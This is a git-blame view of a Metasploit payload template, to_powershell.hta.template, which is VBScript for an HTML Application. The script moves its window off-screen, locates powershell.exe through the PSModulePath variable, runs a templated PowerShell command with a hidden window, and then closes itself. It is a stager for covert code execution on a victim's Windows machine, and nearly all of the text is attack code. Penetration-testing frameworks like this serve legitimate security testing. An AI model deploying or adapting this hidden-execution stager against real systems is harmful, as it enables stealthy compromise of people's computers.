Files
metasploit-gs/data/templates/scripts/to_powershell.hta.template
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

13 lines
423 B
Plaintext
Raw Normal View History

2015-04-20 23:19:54 +01:00
<script language="VBScript">
window.moveTo -4000, -4000
Set %{var_shell} = CreateObject("Wscript.Shell")
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
2017-04-19 11:22:38 -04:00
For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
%{var_shell}.Run "%{powershell}",0
2017-04-19 11:22:38 -04:00
Exit For
End If
Next
window.close()
2015-04-20 23:19:54 +01:00
</script>